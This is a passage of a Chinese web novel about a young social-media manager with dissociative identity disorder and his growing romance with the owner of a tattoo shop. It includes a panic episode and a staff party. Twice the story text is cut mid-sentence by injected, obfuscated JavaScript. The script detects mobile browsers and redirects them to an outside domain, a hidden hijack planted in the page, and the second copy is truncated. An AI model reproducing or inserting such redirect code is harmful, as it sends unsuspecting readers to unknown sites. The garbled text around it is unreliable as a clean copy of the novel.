陈老板出手阔绰,做慈善一般。他对陈述的好感度再次上升一个台阶,即将到达要强吻陈述的阶段。 陈述的唇色很深,唇线锋利,看上去冰冷,亲起来应该不是。 抱着这样不恭不敬的态度,向嘉洋往钛谷店定了鲜花。 次日他就换了稍微正式一点的衣服去了钛谷,不过照例还是穿了长袖。 风铃岛上午已经足够热,向嘉洋抵达时额头出了一层薄汗。 “谁定的花?”简凡捧着玛格丽特进来,大声地在店里询问。 “我。”向嘉洋接过,“我看前台桌上摆着花瓶,空着有点暴殄天物。” “雅兴啊。”简凡啧啧两声,“我还以为是谁又给我们老板送花来了,结果花店的姐姐说是我们店员工订的,我猜了足足十秒钟,寻思是哪个学徒敢对老板有觊觎之心。” 向嘉洋问:“又?以前很多人来送花吗?” “当然。”简凡坐椅子上开始算账,“不过更多的还是逃单的、盗图的、赖在这不肯走非要拜师的、甚至尾随跟踪的。纹身穿孔比较小众,但这林子里什么鸟都有,客户千奇百怪,你压根想象不出来我们这发生过什么离谱的事件,随便抓一个出来都能上法治讲坛。” 向嘉洋:“听上去还是高危职业,我需要买保险吗?” 他把简凡逗笑了,店内气氛莫名欢脱起来。 陈述进来时,第一眼看见的就是前台花瓶里的玛格丽特。白花瓣,黄花心,田园一隅,和钛谷店装修风格大相径庭。 陈老板先开了消毒设备,叫住了路过的姚小川。 “前台的花谁送的?”陈述问。 姚小川有意包庇:“我送的。” “哪儿来的还到哪儿去。”陈述看他一眼,说。 以前有人来送花,陈述都是这样,明明白白地拒绝,连片叶子他都不收。为此陈述特地交代过店里的学徒,让他们盯着点。 姚小川去找简凡告状,添油加醋:“凡,老大喊我们把花丢了。” 简凡一听,这可不行。 “花是向嘉洋订的,说是前台那个花瓶太空了当装饰品。”简凡靠在纹身室门框边上,挑衅地冲里面一喊,“怎么样,还丢吗?” 姚小川也觉得他们老大太不近人情了,钛谷店装修得像灵堂一样,黑白灰,有点别的颜色不好吗?多鲜艳? 别家纹身店也是走性冷淡风格,太装了,好像瞧不起主流审美似的,打着小众旗号摆架子。他们不端着,独树一帜,不好吗? 姚小川于是跟过来,和简凡一左一右门神般地靠着,也冲里面一喊,“运营自己花钱买的,没说送我们,说的是摆店里。怎么样老大,还丢吗?” 再这样下去他两能“怎么样,还丢吗”问一天。 陈述笑了声:“留着吧。” 弄走姚小川和简凡两个聒噪精,陈述往待客区看了一眼。向嘉洋正坐在前台开电脑,手机放在桌上充电。 天花板上吊灯发亮,照得他皮肤更加白皙细嫩,喉结微微突出,脖颈线条漂亮而柔和,衣料下隐约可见锁骨,弧度深。 膝盖上的伤还有些发红,但已经好得差不多了,这两天向嘉洋会按时给他拍照。 他们在微信上的交流十分简短,向嘉洋也从来没有逾越过,没跟他瞎聊别的话题。 陈述觉得向嘉洋好像有点那个意思,但又好像没有。 这种感觉是最危险的。 只有在意,才会多想。 * 向嘉洋刚刚处理完官号里的私信,把钛谷的微信推给了几个咨询穿孔和纹身的客户,简凡就带着消息回来。 “洋。”简凡凑过来,压低声音,“我们守护住了你的花。任重道远,你加油。” 他拍拍向嘉洋肩膀,长吁短叹。 “要不你把这花送给我和姚小川,送给萌姐,或者干脆店里学徒你都挨个送一份,就不给陈述送怎么样?”简凡给他出馊主意,“孤立我们老板,让他见识见识什么叫群众的怒火。” 听说陈述竟然要丢花,向嘉洋其实不怎么在意,他手指弹了弹花瓶,笑:“这是我的个人财产。要杀要剐请先当面来和我对峙一下。” “那你这花我们能拿吗?”简凡问,“挺好看的,你每天都订,放着也是放着,花期那么短,迟早枯萎,要不完事了晚上下班我们一人挑一捧走?” “不能。”向嘉洋说,“对外你们要这样宣传,就说这花是运营的挂牌,哪天花瓶里没有花了,就说明运营小哥谈恋爱了,往后所有的鲜花只送给他喜欢的人。所以那些对他有意思的人可以收收心了。名草有主。” 简凡差点笑岔气:“行,你最有梗,你说了算。” 简凡这人别的优点难说,特别好的一点是够硬气。他和向嘉洋处得来,喜欢向嘉洋的性格,彻底把向嘉洋当成了自己人。 于是他就按照向嘉洋的说法,在钛谷店内广而告之地宣传。 此花只可远观不可亵玩。 全世界都知道钛谷店新来了个运营小帅哥,单身,爱花如命,挂牌招婿。 这个噱头可能挺有意思的,下午来了好几拨客人,进门先去前台花瓶处打卡拍照,几个年轻的姐姐边看着花边偷笑,还问简凡,你们店的运营呢?在哪里?请问可以合个影吗? 向嘉洋一下成了吉祥物。 香喷喷的女孩们聊完天,笑着给向嘉洋送了糖果,而后离开,紧接着来了一波浑身是烟味的男人,各个染着黄毛纹着花臂,也说要和向嘉洋合影。 向嘉洋同意了,刚刚走到镜头里,旁边一个男人就握住他手腕,非要向嘉洋搂住他的脖子,来个近距离的合照。 电光火石的某个瞬间,向嘉洋的眼神变了。 而且变得很快,瞳孔只有一瞬细微的颤抖,紧接着是耳边响起轰鸣。 向嘉洋脑子里出现危险的信号。 他推开了男人,侧身说了一句:“抱歉,我去一下洗手间。” 向嘉洋的步伐很乱,几乎是扶着墙走,他眼疾手快带上洗手间的门,反锁,靠在墙边缓缓地蹲下来。 他的呼吸越来越急促,眼前出现了重影,洗手间内的消毒液从一个变成两个,又变成六个,还带五颜六色的描边。 世界斑斓不已。 眩晕感一阵一阵袭来,这样的副反应向嘉洋很熟悉,他不再乱动,安静地蜷缩在角落中,抱着膝盖将自己包裹起来,好像回到了温暖的巢中,得到庇佑。 冷。 分明是三十多度的炎炎夏日,和封闭不透气的室内。 可是很冷。 向嘉洋闭上眼睛,调整呼吸,太阳穴突突直跳,手腕上青筋在抖动。 惨白的唇色暴露他此刻的狼狈。 很多不同的声音响起,回忆里有糟糕的山村,破败的街道,还有一塌糊涂的青春。 这些声音纷乱刺耳,向嘉洋忍着,混沌之中,忽然有一道越来越近,越来越清晰的嗓音吸引了他的注意力。 “向嘉洋。” 手边的门被人拍响。 陈述低沉好听的磁嗓拨云见月般,扫开了那些声音。 他重复了几遍,“向嘉洋?” “在。”向嘉洋开口,握着门把手努力站起来,两腿颤颤,“陈老板,我在。” 陈述确认道,“简凡说看见你脸色不太好,是不是身体不舒服?” 里面半天都没有回应。 向嘉洋觉得自己可能真的中邪了。以往他绝不会在这种时候出现在人前,然而理智的天平左右摇摆,绷紧的弦骤然断裂。 陈述不收他的花,那收不收他? 如果不收,那就算了,joe反抗得十分激烈,向嘉洋没有那么大的勇气以身试险。 好好地在钛谷工作,再计划下一个旅居点。 吱呀一声,洗手间的门被人拉开。 一片漆黑里,向嘉洋总是洋溢笑容的脸出现在视线中,苍白而虚弱,看上去情况很不好。 陈述第一时间发现向嘉洋手臂在发抖。 他眼疾手快捞住向嘉洋的腰。 向嘉洋顺势搂住了陈述的脖子,抱住了他。 陈述顿了顿。 没有松手。 紧贴的胸膛温度很烫,已经超出正常体温。 陈述干脆把人提起来,一只手圈住向嘉洋的腰身,一只手绕到后背,轻慢地揉着他后脖颈那块肉。 为了不碰到向嘉洋膝盖上的伤口,他让向嘉洋把腿抬起来,圈紧,架着他。 “怎么了?”陈述声音几乎是贴在向嘉洋耳边,问。 向嘉洋还是在发抖,挂在陈述身上收紧了这个拥抱。他没有回答,只发出很轻微的抽气,鼻子小心地嗅着陈述的气味。 陈老板大概是刚刚从纹身室出来,身上混杂颜料和酒精,还有一点淡淡的血腥,这其中有一股木质香调性特别,闻起来平稳、踏实、安心。 怀里结实的肌肉触感很好,陈述这么抱他毫不费力。 看向嘉洋没说话,陈述道:“送你去医院。” “我不去。”向嘉洋缩了一下,“不去行吗?” “你快晕倒了。你说行吗?”陈述反问。 语气有些严厉。 向嘉洋犹豫片刻,说:“就是有点低血糖,一会儿就好了。我没事的陈老板,你别担心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177240|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我能不担心吗。”陈述气笑了,“你这样我怎么不担心?” 陈述检查了向嘉洋瞳孔和脉搏,看他对医院格外抗拒,于是没再要求。他抱着向嘉洋离开洗手间,从过道走出来时,待客区一众人等表情精彩纷呈。 姚小川揉揉眼睛,以为自己在做梦:“凡,我没看错吧。” 简凡:“你没看错,因为我也看到了。” 陈述一路抱着向嘉洋去了没人的隔间,头都没回地吩咐,“去找糖,找水,找空调毯和毛巾。” 简凡回味过来后就差拿喇叭在钛谷喊一圈,他进来时把陈述要的东西都放在椅子上。 “这是生病了?”简凡问,“需要叫救护车吗?” “先不用。让他们该干什么干什么,别围过来询问,给他点时间透会儿气。”陈述说。 “得嘞。”简凡点头,看了向嘉洋好几眼,一步三回头走了。 向嘉洋脸色太差了,而且他说了好几声冷。 但是有热闹怎么能不凑,简凡离开几秒又折回来,想再观赏观赏,结果陈述一脚把门踹上,关了。 室内只剩下他们两人。 向嘉洋说:“陈老板,我一会儿可能会睡几分钟。” 陈述没有多问,“嗯”了声。 他没松手,坐在椅子上。 向嘉洋坐在他腿上。 两人面对面,陈述时不时揉几下向嘉洋后脖颈,拍拍他的背,哄小孩一般。 怀里人的呼吸逐渐平稳了,也不再抽气,倒是心跳很快。陈述摸了几下脉搏,侧头看他。 恰好向嘉洋也转过头来,应该是想和陈述说什么。 近在咫尺的嘴唇差点相碰,陈述率先别开脸。 保持着应有的社交距离。 向嘉洋也把脸转了回去,下巴抵在陈述肩膀上。 不知道过了多久,陈述听到耳边传来规律的呼吸,怀里的人真的睡着了。 陈述扬起眉,一只手揽住向嘉洋,另一只手侧身去够桌上的手机。 他抱着人,等了几分钟。 向嘉洋说是几分钟还真是几分钟,突然一下,他站起来猛地推开陈述,再开口时声音变了个调,冰冷而带着攻击性:“离我远点。” “...”陈述看向他。 还是那双眼睛。与多年前的学生合照不同,不是朝气蓬勃且充满野心的,也不是这段时间里开朗热烈,生动得如同太阳的。 这双眼睛忽然多了点稚气,还有敌意。 joe从头到脚地扫视了一遍陈述,把自己这辈子最没有礼貌的眼神都送给了这个趁机揩油向嘉洋的老王八蛋,而后转身拉开门,径直走了出去,一声招呼都没有打。 “......”陈述处变不惊地整理了一下自己被坐乱的裤子,起身,倒是没有生气。 不过有点诧异。 他无奈地摇头,笑了笑。 joe雷厉风行地走出去,在前台叫住简凡。 “刚刚叫我合影的那个男的呢?叫过来,我要揍他。” 简凡震惊:“...你好啦?低血糖缓过来了吗?哦你说那个男的,陈老板刚刚发微信叫我调监控了,小川也把门锁好了没让他们走,逼着他们道歉后才放人的,喏这是视频,你要看吗?” 视频里,几个黄毛齐刷刷鞠躬,面色仓皇,道完歉转身就跑。 他们生怕钛谷店把监控记录曝光出去,主要是前段时间他们其中就有人去派出所喝过茶,不敢在这个节骨眼上生事儿。 joe冷笑一下,把手机还给简凡。 “怎么了?”简凡觉得有点不对劲,但又说不上来哪里不对,“你还生气吗?” “没。”joe面无表情,“我现在该去哪?” “啊?你现在该去...”简凡一头雾水指了指前台的椅子,“那儿吗?” “哦。谢了。”joe臭着脸坐下。 这让简凡摸不着头脑了,他和姚小川叽叽喳喳地聊了会儿,朝向嘉洋所在处投过去视线。等陈述把手上的活儿干完,送走了等待已久的客户,简凡拉住陈述。 “一个下午了,向嘉洋居然一句话都没有和我说!”简凡道,“不止和我,他其实就是一个下午都没有说话,我都不敢靠近前台,他一直低头不知道在干什么,看起来好忙,是在想新的文案吗?还是写脚本?” “述哥,你是不是做了什么?” 陈述问他:“我做了什么?” “我哪儿知道。反正肯定是你的问题!” 陈述洗干净手,在简凡的撺掇下去看了一下向嘉洋。 他视线落在桌上,瞥清那是什么后,眉毛一扬。 一本五年中考三年模拟。 ———— —— 11. 三问一心 * 简凡不像陈述那样保持边界感,他跟上来,问:“洋,你怎么在写五三啊?” joe冷漠地奋笔疾书,头都懒得抬。 “我兼职家教,教的是初中生。温习一下,不行?” 这么多年,joe就是练也练会了,编理由张口就来。 对外,他必须和向嘉洋保持社会身份的一致性。因为普罗大众对多重人格的认知还是局限的。 也可能带有偏见。 他们不可能见着谁都直截了当告诉对方,我身体里其实还有另外一个灵魂。 怪胎,变态,那个人脑子有问题,昨天的事今天就能忘记,等等。这类评价很多年前他们遇到过。 而向嘉洋第一次尝试开诚布公,说他得了一种叫DID的病,换来的回应是排挤、审视、质疑和区别对待。 DID?双重人格?你他吗睡傻了吧,臆想出来的。 那你现在叫你的副人格出来给我们看看? 精神病会杀人,是潜在犯罪分子,赶紧叫你家小孩别再和他玩了! 诸如此类。 实则人格并不能自主切换,由压力、创伤、环境等多方面因素共同触发。 并且,DID患者其实更擅自伤,而非伤人。他们的暴力犯罪率远低常人。 于是从那时起,joe和向嘉洋约好,面对陌生或是不熟的人、遇到非必要阐明身份的情况,不论谁在主导这具身体,他们都是“向嘉洋”。 当joe和向嘉洋交换身体的控制权,会出现一些信息差。时间与空间的分裂容易给生活带来不便,比如joe会忘记要去期中考,向嘉洋则一觉睡醒发现自己少听了十节课,而笔记本上全是joe的字迹,他要自学才能啃透。 joe的社会化程度很低,如果向嘉洋在休眠,joe就完全如同脱缰的野马,要凭自己的理解去社交和生活。 他们一团乱麻地彼此照应,拉扯,蹒跚长大。 joe对时间的计算有一套自己的度量体系。他长不大,因为他身为副人格,出来的时间很短。他以自己掌握身体的时长来计算时间。 对别人来说已经十年过去,对他来说才一年而已。 joe和其他多重人格的情况不同在于,他并不想吞掉主人格,反而愿意配合治疗,让自己消失。 心理医生说,joe出现是因为主人格在童年时受过创伤,而后希望有一个人能不离不弃地陪着他。 这个人可以是亲人,有血缘纽带般藕断丝连的坚固关系,也可以是恋人,给他专一且独有的爱。 最好能既做了恋人,又成为了家人。 当时向嘉洋年纪太小,还没有恋人的概念,故而joe作为他的弟弟诞生。 心理医生告诉他们,一定要积极配合治疗,不要放弃。 双重人格随着时间增长,对脑神经的压迫也会倍增。 最后可能导致脑细胞局部坏死、海马体受损,或是主体因太过焦虑,选择自戕。 虽然DID很难治疗,痊愈案例少之又少,但并非毫无希望。 而如果有一天,joe真的消失了,或是与主人格整合了,那只会有一种缘由。 向嘉洋接纳了不完美的自我,能够健康、快乐、勇敢地去体验世界。 并且,获得了年少时许愿的幸福。 * “原来你还有干兼职,洋,很努力。”简凡表示敬佩,他闲不下来地问,“那你需要请假吗?萌姐说了,运营双休,每个月还可以给你带薪请假两天。我看你脸色还是不太好,要不你跟述哥请个假吧,他现在就能批。” joe没理他。 简凡:“或者你要不要去医院看看?要是哪天你倒在我们店,那怪吓人的。” joe忍了忍,没忍住。牙根都差点咬碎。 “能不能先不和我说话了?数学题做不出来了!” 简凡一摸后脑勺:“哦哦不好意思,那你忙。” joe现在烦得很,谁和他说话他都想和人干一架。他万万没想到自己睡个觉,向嘉洋两膝盖就跟血窟窿一样了。 导致joe现在也觉得疼,坐着写题时不时要动一下腿,否则难受。 为什么会受伤? 为什么没有在备忘录里写上? 草草草! 我要草翻这个世界! 钛谷到了打烊的时间。 店里学徒陆陆续续都离开,简凡在检查设备电源,热闹的店慢慢冷清下来。 joe看了眼时间,差不多该走了,他把五三放进书包里,背起来。右手边的桌上贴着便利贴,是向嘉洋的字迹,圆滚滚,joe面带不屑地看了眼,是每日计划。 幸好今天的都已完成,不然joe还得研究一下宣传文案。 又找了个什么破工作! 不爽,无敌不爽。 joe黑着脸,仰头扯着嗓子通知整个钛谷店。 “喂!没事我就先走了!” 他这一嗓子喊得很大声,陈述从穿孔室出来,手里拿着车钥匙,问:“身体好了吗?” 好个毛笔。 你为什么这么关心向嘉洋? 好你个陈述你想老牛吃嫩草! 你敢说你不是垂涎我哥的美味脸蛋? 至于那个樊煜,最好是死在外边了。 天上没有馅饼掉,男人示好必有猫腻。 现在来一个男的接近向嘉洋我就打一个。 joe冷笑出声,走了两步突然回头,径直绕到简凡旁边。 “简凡哥,要不麻烦你送我一下,我现在还不太认识回家的路。”joe说。 简凡嘴里吐着的泡泡都破了,指了指自己:“...我?!我送你?!” “嗯。” “...” 简凡看看陈述,看看向嘉洋。 “..行啊,正好我顺路,我送你啊洋宝。咱们不和叔叔走。”简凡乐得吱哇乱叫,勾上向嘉洋的肩膀,“来来来,我们年纪相仿有话聊。” joe不动声色撇开简凡搭着他的手,跟简凡走出钛谷。 陈述手指拨了下车钥匙,眯着眼睛,若有所思。 上午六点,向嘉洋一觉睡醒,天塌了。 他撑起身子,看到民宿房间墙壁上的投影了一行大字。 “我帮你拒绝陈述了,你们没戏了。——joe” 本次joe主导身体时长还不到五个小时。 但是战功赫赫。 而且joe学坏了。 他没有在备忘录中给向嘉洋留下任何文字。哪怕一个笔画。 仿佛是报复向嘉洋没有记录膝盖受伤一般,昨天人格切换后的一切,向嘉洋都没有印象。 也无从考证。 向嘉洋坐在床上,睡眼惺忪,满脸懵怔。 他花了五分钟时间接受戏剧性的投影字幕,挠挠头,长叹一口气。 算了算了。 既然我拒绝了陈述一次,那就找个机会让陈述也拒绝我一次。 这样我们两不相欠。 向嘉洋开始认真刷牙。 他心心念念要打一个舌钉,只是不知道猴年马月可以成功。 洗漱台的手机震动两下,向嘉洋拿起来。 简凡在钛谷的员工群内@了全体成员。 -晚上七点,老地方,1807包厢。 -热烈庆祝钛谷开店两周年! 说完,简凡在群里发了红包。 向嘉洋问:我可以去吗? 姚小川:当然,你不去要罚款的。 官天萌:都是自己人。 简凡:什么叫可以去吗?!多见外,你是钛谷光荣的一员! 其实向嘉洋想借机看看陈述的态度。然而陈老板一惯沉默寡言,什么都还没说,群里这帮人全帮他说完了。 看他们这么热情,向嘉洋发表情包致谢,而后才点开红包。 居然还成了手气王。 群里聊天记录盖高楼般往上叠,简凡发了个地址。 傍晚六点多,向嘉洋对着镜子简单收拾了自己一下,把脸蛋弄得白白净净的,稍微定了个发型。 镜中的人介于青涩和成熟之间,有恰到好处的俊俏与少年气,不稚嫩,也不老成。眼角弧度柔和,看得出他爱笑,弯月眉眼,睫毛浓密,微微上翘,灯光下他的嘴唇饱满而立体,唇色偏浅。 这是一具秀色可餐的优秀皮囊,然而这样的皮囊世上数不胜数,能叫做独一无二的是皮囊之下的向嘉洋。 * 七点,向嘉洋准抵达包厢,简凡迎着他进去,喊他随便找座位坐。 店内其他学徒向嘉洋还不熟悉,他看到姚小川已经坐在角落玩手机,于是走了过去。 “来了?”姚小川笑嘻嘻地,“你喜欢吃什么可以自己点,今天是火锅局。” 他把菜单递给向嘉洋。 “谢谢。”向嘉洋冲他笑了下。 官天萌拎着一大扎的酒进来,像个酒神。她豪迈地往桌上甩了五六个启瓶器,“老板请客,你们千万别心慈手软。” 周围一帮人发笑。 包厢内气氛还不错,向嘉洋坐了会儿没觉得不适应。 原本他不喜欢人挤人的逼仄空间,但可能因为他想见陈述,钛谷的每一个人也都很好,所以向嘉洋喜欢这里。 等了好久,门口才终于出现熟悉的身影。 高挑,冷峻,因为是和朋友聚餐,陈述没有穿太正式的西装,但也看得出他稍微打扮了下,整个人帅得冒金光。 “我问你个事。”姚小川瞥见向嘉洋的眼神,凑近他,“你是不是看上老大了?” “是。”向嘉洋笑着说。 “承认得这么爽快?那你怎么没有表示?”姚小川见怪不怪道。 “我怎么没有表示了。”向嘉洋说,“我不是一直在追他吗?” “追...哪儿了?” “看不出来吧,这就是我的策略。”向嘉洋和他碰了下杯,“简凡都知道了,我真的有在追的。” “卧槽。简凡知道我怎么不知道,你不能偏心。”姚小川拍拍胸脯,“我也很有用的,可以帮你。” 向嘉洋问他:“怎么帮?” 姚小川打了个响指,信誓旦旦:“等着。” 他站起来,冲陈述招手。 “老大,这儿!” 陈述进来时已经注意到这处角落。向嘉洋和姚小川似乎聊得很开心。他们在的位置在包厢一侧,座位比较窄。再塞个人进去手该不知道往哪放。 “给你留了位置,坐呗。”姚小川盛情邀请。 陈述摇摇头,“你们坐。” 他就近找了个上菜口坐下,旁边学徒拿着手机,马上和陈述开始聊稿图。 “...” 向嘉洋幽幽看向姚小川:“..喂。” 姚小川:“...抱歉。小的没用。” “也罢,王子饶你这一次。”向嘉洋又跟他碰了杯。 姚小川乐了,直呼殿下英明,而后和向嘉洋彻底聊开,两人交头接耳,偶尔还一起笑出声。 陈述坐得离向嘉洋很远,几乎呈对角线。 包厢嘈杂的夹菜与交谈声里,陈述和人聊纹身的音调算不上大,但落在向嘉洋耳朵里却很清晰。 向嘉洋只能用余光看他,陈述露出了线条流畅的手腕,手指落在转盘上随意拨动两下,挺带劲。 饭还是要好好吃,上菜后向嘉洋一边给姚小川下肥牛,一边自己蘸了调料。 气氛仍然很好,熟人局没那么多讲究,酒足饭饱后他们换了场地,想玩点游戏。官天萌和另外一个学徒家里有点事,先走了。 向嘉洋被姚小川带着,很快融入,到他抽大冒险牌时,上面写着“脱一件衣服”。 简凡不满:“便宜向嘉洋了!他有两件呢,脱一件也没什么,我们什么都看不到啊!” 一直没怎么说话的陈述注意过来,手指点了点桌面,问他:“你还想看什么?” 桌上顿时一片起哄声。 长了眼睛都瞧得出来,他们老板好像很护着新来的这位帅哥运营。 “嘿嘿。我就看个热闹。别介啊。”简凡贱兮兮地接话。 他们目光炙热,向嘉洋只好站起身。 要脱他外面的防晒衣时,向嘉洋动作稍微犹豫了片刻。 本来没什么,即使要他脱光他也玩得起,游戏精神。萌姐走了,在场又都是男人,向嘉洋更不在乎了。 有女生在这样不礼貌,其他都好说。 但是他手腕上有刀痕,还没消干净。 不然也不会出门总带一件长袖。 向嘉洋有些纠结地摸着自己脖子,想说点什么,对角线的陈述忽然站起来。 他倒满了一杯酒说:“他不脱,我代喝。” “什么?!”简凡差点原地起跳,“述哥,你刚刚说什么?!?!” “谁要你代喝了?!”简凡贼得没边儿了,问,“我们洋喊你代了吗?” 陈述视线稳稳当当落在向嘉洋脸上,视线交接时,他手里拿着酒杯,问:“好。那你要不要?” 向嘉洋耳朵一下有点热。心跳也有点快。 几秒钟时间他想了很多,强行先压下去了。 他看向周围:“他喝了,我就可以不用脱吗?” 周围人点头:“规则是这样,差不多。” 向嘉洋又问:“里面是啤的还是白的?” 陈述说:“白的。” 向嘉洋转头:“那可以让他换成啤的吗?” 姚小川猛地缩腮憋笑:“那不行。英雄只能喝烈酒。” 向嘉洋弯腰和姚小川说悄悄话:“陈老板酒量怎么样?” “你放心吧,好得很。地下室满柜子都是洋酒,一杯白的而已,根本难不倒他。你不用心疼。” “不行,我心疼着呢。”向嘉洋嘀咕。 “你就让他代了吧,陈老板一般不跟我们喝酒呢,你看不出来吗,桌上都没人敢敬他。” 向嘉洋点头,“好。” 再推脱反而拂面子。 陈述喝完坐下,和旁边人又说了些什么。 向嘉洋被姚小川拉着坐下,姚小川激动得疯狂在桌底下给向嘉洋打手势。 其实向嘉洋自己也很激动,只是他不显山不露水,唯一的破绽是耳垂的坨色。 接下来玩了两圈游戏,向嘉洋都不太在线。 他思绪早已飞出体外。 向嘉洋有好几次想趁着大家没注意,拿手机发个信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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意思给到这里,向嘉洋又迂回道:“因为你帮了我很多,谢谢。好多事我要向你学习,我还不够成熟。” “小事,不用谢。”陈述接话了。 “你不是不够成熟。你是没有看到自己。” 向嘉洋一愣。 他忽然想起多年前自己给资助人写信,当时他处于人生很迷茫的阶段。 于是问资助人,外面的世界是怎样的,他要如何自处。 当时资助人给他回了一封信。 信上照例叮嘱他好好吃饭,劳逸结合,别太刻苦。信的末尾资助人大笔一挥,写了四个字。 君子不器。 资助人告诉他,世界广阔。不用局限在某处,具备广泛知识或才能以后,条条大路通罗马。 所以向嘉洋什么都会一些,刚好他爱好多,精力充沛,这些年学了不少东西。 * “进去吧。”陈述说,“找我们了。” 向嘉洋点头,“好。” 走之前,陈述停住脚步,看他。 “还有没有下次?” 向嘉洋一激灵。他以为这个话题已经翻过去,没想到陈述再次提起。 “没有了。”向嘉洋说。 陈述还是那么看着他。 “陈老板,你又不信?” “是不太信。” “你都凶成这样了,把我单独叫出来训一通,我肯定不敢了。我听话着呢。”向嘉洋说。 “我没凶吧。”陈述说。 “凶。” “那我改改。” 向嘉洋嘴角上扬,原本被乌云笼罩的心一下放晴。 其实陈述根本没凶,也没训他,语气好得不能再好了,向嘉洋就那么一说。瞎说是一回事,陈述真的应了又是一回事。 “往哪改?怎么改?”向嘉洋跟在他后面问。 “你提。” “下次要单独面批我,你得先给我唱首歌。”向嘉洋蹬鼻子上脸道。 陈述笑了声,笑得特好听,不过笑完没再应他。 切。 不唱就不唱。 向嘉洋自己在心里哼着歌,跟陈述回去。 包厢仍然热闹。 向嘉洋刚一落座,就被姚小川八卦:“你刚刚干什么去了?咋和老大一起回来的?” “没什么。上厕所碰到了。”向嘉洋笑。 在场的多少都喝了点,只有陈述是代罚碰过一杯,有人不满,开始张罗着要盘陈述。 陈述由着他们闹,一年就一次店庆,一帮年轻人折腾折腾也没什么不好。 然而要陈述输什么游戏实在是太难,他面上看着古板严肃,可人家家世摆在那,从小混迹酒肉场,这群学徒根本玩不过他。 简凡最后没办法了,叫陈述跟他们斗地主。 陈述坐庄,简凡和姚小川两农民合伙出他。 来了三轮陈述才输,还是放水的,大家都想从他嘴里撬出点什么,不然今天结束了回去都不尽兴,陈述干脆给个面子。 “OK。”简凡立刻起范儿,“想必在座各位对我们老板一定充满好奇,而我很幸运地抽到了好玩的牌。” “陈述,我问你三个问题,你必须真心实意地回答我。” 陈述:“你说。” 简凡:“现场你最熟悉的人是谁。” 陈述:“简凡。” 简凡:“...行。如果要让你选择其中一个人跟你出去旅行一个月,你会选谁。” 陈述想了想,说:“姚小川。” 简凡:“为什么?” 陈述:“懒,一切能听我安排。” 周围人笑起来。 “陈老板你是天生劳碌命吗?” “我悄悄跟你们说,其实老大掌控欲非常强。” 陈述砸了个旁边人抽完的空烟盒在姚小川身上,让他闭嘴,越说越离谱。 姚小川笑得双肩发抖,催简凡赶紧继续。 简凡:“在场的人里谁对你而言最特别。” 这个问题一出来起哄声就明显大了,能掀翻房顶。 陈述道:“向嘉洋。” 姚小川说了一句卧槽。 他们以为陈述多少要思考思考,结果陈述答得异常干脆。 “为什么?为什么为什么为什么?”简凡捏着牌追问,“理由。” 陈述:“挺爱玩儿的,闹腾,容易受伤。” 不止膝盖。 这个回答有点驴唇不对马嘴,简凡疑惑:“受伤怎么了?” “会让人想照顾他。” 向嘉洋心脏像被射中了一箭,紧接着又被一双温暖的手牢牢地捧住。 大概就是这种感觉。 简凡可没管任何人的死活,犀利一问:“会让人,还是会让你?” 陈述笑了,反问他们:“我照顾得还不够明显吗?” ———— —— 12. 我们三 * 陈述这么一说,大家都笑了,说明显,够明显。 气氛恰到好处,没有人深究,都笑而不语,最多往向嘉洋和陈述之间来回瞄瞄。 陈老板在钛谷店充当的是顶梁柱的身份,他招的学徒各个命运多舛,陈述本就有拉他们一把的意思,所以店里不管姑娘还是小伙子都很尊敬他。 简凡跟姚小川比较皮,才敢偶尔开开他玩笑。 向嘉洋是个知足常乐的人。陈述一句话拉满了他的干劲儿。 说陈述难追的确不假,但好像没有传说中那么冷。他都抱过向嘉洋了。 人都是多面的,陈述看上去很酷,有股劲儿,但也总有软乎的时候吧? 不可能这辈子就只会说“嗯”,“好”,“行”吧? 向嘉洋趁他们玩游戏的功夫,点开微信找到钛谷头像的那个聊天框,给陈述发了“谢谢陈老板。” 末了还配上一张GIF表情包。 一只灰褐色的小狗从心口掏掏掏,憨笑着掏出一束花。 这是向嘉洋的原创ip,叫可乐可。他账号有1.1万粉丝,主页总获赞量已经破二十万。 钛谷工作号设置了消息提醒,屏幕亮起的光很明显。 在向嘉洋的余光中,陈述拿起手机,可能是按照顺序回复的,自己刚发的那条在最顶上,所以陈述很快就回了他。 [不谢。] 向嘉洋以为这就完了,他们聊天记录总共都不到三页。手机再次抖动一下,陈述带了个表情包。 可乐小狗威风凛凛地戴着墨镜趴下。 “...”向嘉洋心跳频率骤升。 他问陈述:你怎么有这个表情包? 陈老板:长按你的那个,点专辑,添加。 他发这句话有种问你“不就这么简单吗”的清澈感。 向嘉洋战术性地捂了下自己嘴巴,遮住了嘴角扬起的弧度。他憋笑憋得好辛苦,灌了两口饮料才压下来。 joe,陈老板不是那种大街上走着走着突然给你来一个三步上篮的直男,也不是你十二分警惕的高级装货。 他分明童心未泯! joe不在。 向嘉洋把聊天记录截图了放在备忘录里,要求joe醒来务必认真欣赏。 钛谷店全都是年轻人,闹到晚上十点多才结束,向嘉洋跟着他们出来,听到简凡在问陈述:“你今晚喝酒了不能开车吧?叫个代驾。” 陈述嗯了声,正打算拿手机。 向嘉洋走过去,“陈老板,我没喝酒,我送你回去。” 陈述意外地看过来,笑了声,语气带了那么点怀疑,“你送我?” 简凡和向嘉洋对上眼神,收到信号后他直接怂恿:“那也可以,向嘉洋做事靠谱,述哥你就让他送吧。叫代驾还要等,这里直接站着一个人愿意载你,你不要舍近求远。” 陈述饶有兴味,似乎是觉得向嘉洋这个提议很有意思。 被比自己年纪小的人开车送回家,他这辈子还没有过这种经历。 